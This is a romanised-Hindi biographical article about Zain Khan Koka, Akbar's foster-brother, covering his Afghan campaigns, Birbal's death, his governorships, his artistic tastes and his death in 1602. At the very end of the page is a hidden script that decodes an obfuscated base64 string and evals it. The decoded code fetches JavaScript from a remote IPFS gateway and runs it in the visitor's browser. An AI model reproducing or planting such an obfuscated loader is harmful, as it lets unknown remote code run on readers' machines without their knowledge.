जैन ख़ाँ कोका

jain khaan koka mugal bahashah akabar ki ek dhay ka putr tha. isake pita aur chacha samrath ke bahut nikat rahate the, atev isapar bhi kripa hona svabhavik tha. kahate haian ki hiandi kavy aur sangit mean isaki vishesh ruchi thi. svayan kavihriday aur vadyapremi tha. isaki vilasapriyata ki bhi anek kahaniyaan prasiddh haian. apane rajy ke 30vean varsh akabar ne ise kabul bheja jahaan yusuphajee upadrav macha rahe the. uloog beg mirja ki sahayata se inake vidroh ka daman kiya. isi sthan par ek any jati 'sulatani' ke nam se rahati thi. badashahi sena ne chaturata se yusuphajiyoan ko apane paksh mean karake sulataniyoan ko nasht kiya. bajor, svad adi mean daman karate hue vah chakadar pahuancha jahaan usane ek durg sthapit kiya. karakar aur booner praant ko chho dakar shesh bhag par adhikar kar liya.

sankshipt parichay

abulafatah aur raja birabal ke sath ise paha di praantoan mean bhi yuddh karana p da, yadyapi yah usaki anichchha se hi hua tha. paha di praantoan ke afaganoan se yuddh ise atyant mahanga p da. isaki sena paha di kshetroan mean yuddh ki anabhyast hone ke karan bikhar gee. bahut se sainik kam ae. svayan jain khaan ke pran b di kathinaee se bache. raja birabal any mukhy sathiyoan ke sath yuddh mean mare ge. akabar rajy ke 31vean varsh isane peshavar ke nikat jalaluddin roshani ke netritv mean mahamand aur gori jatiyoan ke vidroh ka b di virata se daman kiya. 32vean varsh mean yah raja manasianh ke uttaradhikari ke roop mean jabulistan ka adhyaksh niyukt kiya gaya. 33vean varsh isane yusuphajiyoan par akraman kiya aur 8 mahine ke pashchath‌ bahut logoan ko mar kar shesh logoan se atmasamarpan karava liya.
koka ne svad par bhi adhikar karane ka vichar kiya. bachakora nadi ke kinare raksharth durg banakar usane eed ki kurbani ke parv ki rat afaganoan ke oopar akraman kar diya. isamean koka ki vijay huee. 35vean varsh isi ki virata ke karan paha diyoan ke jamiandaroan ko atmasamarpan karana p da. 37vean varsh jab jain khaan ko hiandookush se lekar siandh ke kinare tak ki raksha ke liye niyukt kiya gaya, vah svad aur bajor hokar tirah pahuancha. aphridiyoan aur orakajiyoan ne atmasamarpan kar diya aur jalal ke kaphiroan ke kshetr mean sharan li. isane apani rajanitik kushalata se kaphiroan ko milakar afaganoan ka daman kiya, yusoophajee bhi badakhshaan tak bhagakar surakshit n rah sake. unhean jain khaan se sandhi karani p di. is prakar kanashan durg, badakhshaan aur kashagar ke simaant kshetr isake adhikar mean a ge. isi samay kulikhaan kabul ka karyabhar sanbhalane mean asamarth ho raha tha, at: vah pad jain khaan ko pradan kiya gaya. jab jalaluddin roshani ke marane par afaganistan mean shaanti sthapit ho gee to yah lahaur a gaya. adhik madirasevi hone ke karan isaka svasthy bahut kharab ho gaya tha. aant mean 1602 ee. mean yah mar gaya.

vistrit jivan parichay

jain khaan koka ki mata pech: jan akabar ki dhay thi. isaka pita khvaja: makasoodali harvi pavitr vichar ka sachcha tatha diyanatadar adami tha aur hamid: banoo begam ka ek sevak tha, jo haudaj ke pas barabar niyat tha. erak ki yatra mean yah bhi sath gaya tha. akabar ne isake bhaee khvaj: sahan ki, jo jain khaan ka chacha tha, l daki ka shahajada salim se nikah kar diya tha. isi se sanh 997 hijari mean sulatan parvej paida hua. 30 varsh mean jab mirja muhammad hakim kabul mean mar gaya aur akabar jabulistan jane ko ichchha se siandh nadi ke par utara tab jain khaan, jise dhaee hajari manasab mil chuka tha, yoosuphajaee jati valoan ko thik karane aur svad tatha bajaur par adhikar karane ke lie bheja gaya. yah jhud pahile karabag aur kandhar mean rahata tha. aur vahaan se kabul akar is par adhikar karane laga tha. mirja ulugabeg kabuli ne ise bhaga diya. bache hue vahaan se lamaganat mean kuchh din thahar kar istagar mean ja base. lagabhag sau varsh hue ki tab se svad tatha bajaur mean loot mar kar din bitate haian.
usi desh mean ek aur jhuand tha, jo apane ko sulatani kahata tha aur apane ko sultan sikandar ki putri ka vanshaj samajhata tha. yah jati pahale gulami karane lagi aur phir kapat karake isane kuchh achchhi jagah apane adhikar ne kar liya. isamean se kuchh unhian ghatiyoan mean asaphalata mean din vyatit karate rahe aur desh-prem ke karan bahar nahian ge. jis varsh pahale akabar mirja muhammad hakim ko dand dene ke lie us praant mean gaya tha, us samay us jati ke b de log seva mean pahuanche the. inamean se ek kaloo tha, jo kripa pakar bhi agare se bhag gaya. khvaj: shamsuddin khavaphi ne atak ke pas use kaid kar darbar bhej diya. dand ke badale us par kripa huee parantu phir bhag kar apane desh chala gaya aur loot mar karane mean doosaroan ka sathi ho gaya.
jain khaan koka pahale bajaur praant se gaya, jisake dakshin mean peshavar aur poorn mean kabul ke paragane haian, jo pachis kos lanba aur paanch se dam kos tak chau da hai satha jisamean is jati ke 30 sahasr grihasth adami basate hai. vahaan isane bahutoan ko dand diya. gaji khaan, mirja ali aur doosare sardaroan ne aman maangi aur upadrav shaant ho gaya. isake anantar parvatyasthan svad ki or gaya aur k de dhavoan par shatru ko bhaga diya. jagadarra mean, jo us praant ke bich mean hai, isane durg ki niand dali. isane tiees bar vijay paee aur isake sat bhale toote. karakar ki ooanchaee aur pavanir praant ke siva sab par adhikar ho gaya. paha doan mean ghoomate-ghoomate sena shithil ho gee, isalie jain khaan ne sahayata maangi. akabar ne raja birabal aur hakim abulfatah ko ek doosare ke bad niyat kiya. jab ve kokaltash ke pas pahuanche tab purani eershya ke karan ve apas mean n milakar bhinn mat ho ge. jab koka ne nyay karate samay kaha ki 'nee aee huee sena ko balavaiyoan par bheja jay aur ham is praant mean raksha ke lie rahean ya ap log yahaan jagadarra mean raksha ka kam dekhie aur ham balavaiyoan ko dand dene jay, tab raja aur hakim ne javab diya ki 'shadi ajna mulk par dhava karane ki hai, usaki rachana karane ke lie nahian hai. ham sab milakar dand dene ke bad darabar chale chaleange.' koka ne kaha ki 'jis praant ko itana yuddh kar adhikrit kiya hai, use kis prakar bina prabandh kie chha d dean. yadi yah donoan prastav n svikar hoan to jis marg se aye ho usi se laut jao' ve yah n sunakar karakar ke us marg se age badhe, jo paha doan aur g dahoan se bhara hua tha. koka bhi nirupay hokar unhian ke sath chala ki kahian ye parshvavarti koee aisi bat n kah dean ki badashah ka vichar usaki or se badal jae. yahaan tak ki har ek tang darean mean barabar l daee hoti rahi aur loot bhi khoob hoti rahi.
jab balandari ghati ki or badhe tab koka pichhe ho gaya. afaganoan ne dhava kiya aur yuddh hone laga. un sab ne har or se tir aur patthar pheankana aranbh kiya. adami log ghab da kar paha d ke niche bhage. is dau d dhoop mean hathi aur gho de bhi unhian mean mil ge aur bahut se adami mare ge. koka chahata tha ki l d mare parantu janish bahadur use lauta laya aur marg n hone se kuchh door paidal chal kar p dav par pahuanch gaya. jab yah vidit hua ki afagan akraman ko ate haian tab ghabarahat mean kusamay mean kooch kar diya. aandhakar ke karan rasta chho d kar bahut se log darroan mean ja p de. afaganoan ne loot bahut baanti par tau bhi bach gee. doosare din bhi kitane marg bhoole hue mare ge. raja birabal badashah ki pahachan ke lagabhag paanch sau adamiyoan tatha doosaroan ke sath mara gaya.
31vean varsh mean kokalatash peshavar ke pas muhammad aur gori jatiyoan ko dand dene ke lie niyat hua, jo jakakuddin raushani ko sardar banakar rirah aur khaibar mean balava machae hue the. isane achchha kam dikhalaya. 32vean varshan mean raja manasianh ke sthan par jabulistan ka shasak niyat hua. 33vean varshan mean phir yoosuphajee logoan ko dand dene ke lie niyukt hokar pahile bajaur gaya aur un par ath mahine tah akraman kie. isamean bahut se shatru mare ge aur bache hue logoan ne adhinata svikar kar li. koka svad par adhikar karane chala. pahile bachakora nadi ke kinare, jo us desh mean pahuanchane ke marg ka aranbh hai, ddadh drirg banavakar baith raha. shatru eed ki kurabani mean lage the ki koka gupt raste se svad mean jo ja pahuancha. afagan chab dakar bhag ge aur us desh par adhikar ho gaya. har ek avashyak sthan par durga banavakar raksha ka prabandh kiya. 43vean varsh jain khaan uttar ke jamianbaroan ko dand dene ke lie niyat hua. pathan ke pas se us praant mean jakar satalaj nadi tak pahuancha. sab vidrohiyoan ne adhinata svikar kar li. nagarakot ke raja vidhichandr, jamboo parvat ke raja parashuram, moo ke raja basoo, raja aniruddh jasabal, raja kam lauri, raja jagadishachandr dalaval, panna ke raja sansarachandr, manakot ke ray pratap, jasarauta ke ray basoo, lakhanapur ke ray balabhadr, kot bharat ke daulat, raykrishna balabariiy: aur ray ravadiya dhamarival ne 10 sahastr savar ikatta ar lie the aur paidal ek lakh se adhik the par ye sab achchhi bheant lekar koka se sath darabar ge. 36vean varsh mean char hajari mansab aur danka pakar yah sanmanit hua. 37vean varsh jain khaan siandh nadi ke us par se hiand koh tak ke praant ka shasak niyat hua aur svad tatha bajaur se tirah ki or gaya. apharidi aur urakajee jatiyoan ne adhinata svikar kar li. jalal. kaphiroan ke praant mean chala gaya. koka bhi us praant mean pahuanch. jalal: ke damad vahadat ali ne yoosuphajee ki sahayata se kanashal durg par aur kaphiroan ke praant mean kuchh saphalata prapt ki thi isalie koka ne unhean daman karane ka sahas kiya. sena ne kohasar tak, jo kashagar ke shasak ka thana tha, jakar bahatoan ko kaid kiya. kaphiroan ke sardaroan ne bhi afaganoan ki har mean prayatn kiya. kchh chaganasara ki aur badakhshaan jakar loot mar karane lage. nirupay hokar yoosuphajee sardaroan ne adhenata svikar kar li aur durg kanashal tatha badakhshaan-kashagar ki sima tak ke bahut se thanoan par adhikar ho gaya. is khashi mean 41vean varsh ke aranbh mean ise paanch hajari manasab mila.
jab kulij khaan kabul ka prabandh nahian kar saka tab usi varsh koka us prat mean niyat hua. usi varsh shahajad salim jain khaan ki putri par ashik ho gaya aur usi ki chianta mean rahane laga. akabar is kuchal se pareshan hua, parantu jab usaki ghab dahat adhik dekha tab svikrit dekar sanh 1004 hi. mean nikah kar diya. jab jalaluddin raushani, jo kabul praant mean upadravoan ka j d tha, mar gaya aur kabul mean upadrav shaant hua tab ajnanusar jain khaan tirah se lahaur ki raksha ke lie pahuancha. jab akabar burahanapur se laut kar agara aya tab isako bulavaya. kam karane se jan chura kar isane sharab pauna aranbh kiya tha, jis karan isase kuchh log khianch ge. isaki bimari badhane lagi aur hriday ki nirbalata se yah sanh 1010 hijari (sanh 1602 ee.) mean mar gaya. kahate haian ki birabal ki ghatana se jain khaan ki avanati hone lagi aur isaka badashah ke hriday mean vichar bana raha. jab salim kuvichar se ilahabad jakar rahane laga aur isane bahut se gho de usake pas bheje tab vah aprasannata aur bhi b di. usi samay yah mar gaya.

kavi hriday aur vady premi

jain khaan kavitt aur rag ka premi tha. bahut se baje svayan baja leta tha aur sher bhi kahata hai. usake ek sher ka urdoo roopaantar yoan hai-

aram nahian deta hai yah charkh kaj-kheram .

risht: murad ka ki suee mean maian dal loo॥

kahate hai ki jab isane badashah ko apane ghar bula kar jalasa kiya tha jab aisi taiyari ki thi ki barabar vale ashcharyachakit ko gaya. inhian mean se ek chabootara poori lambaee or chau daee tak toos ke shaloan se dhank diya tha, jo us samay bahut kam milate the aur usake age tin hauz the, jinamean se ek hauz yajd ke gulab se, doosara kesar ke rang se aur tisara aragaja se bhar kar banavaya tha. isamean ek hajar se adhik tabayaphoan ko dal diya tha. doodh aur chini milakar usaki naharean bahaee aur sahan mean pani ke badale gulab jal chhi daka gaya. isane tokaroan mean ratn aur j daoo bartan bhar kar bhari hathiyoan ke sath bheant kie the. kahate haian ki us samay hathiyoan ki adhikata mean jain khaan, gho doan mean kulij khaan aur khvaj: saraoan mean seed khaan prasiddh the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>